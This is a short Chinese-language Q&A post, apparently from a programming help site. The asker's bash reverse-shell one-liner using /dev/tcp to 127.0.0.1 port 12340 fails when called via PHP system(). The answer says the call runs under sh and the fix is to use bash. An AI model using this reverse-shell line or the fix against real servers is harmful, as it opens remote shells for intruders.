当我执行bash -i >& /dev/tcp/127.0.01/12340 0>&1
到system()
时,我得到:
Syntax error: Bad fd number
但是当我通过终端执行bash -i >& /dev/tcp/127.0.01/12340 0>&1
时没有错误。
我该如何解决?
答案 0 :(得分:1)
/dev/tcp
是bash
的一项功能,但是在PHP脚本的第一个屏幕截图中,您使用的是sh
。
解决方案是实际使用bash
,就像在本地终端中一样。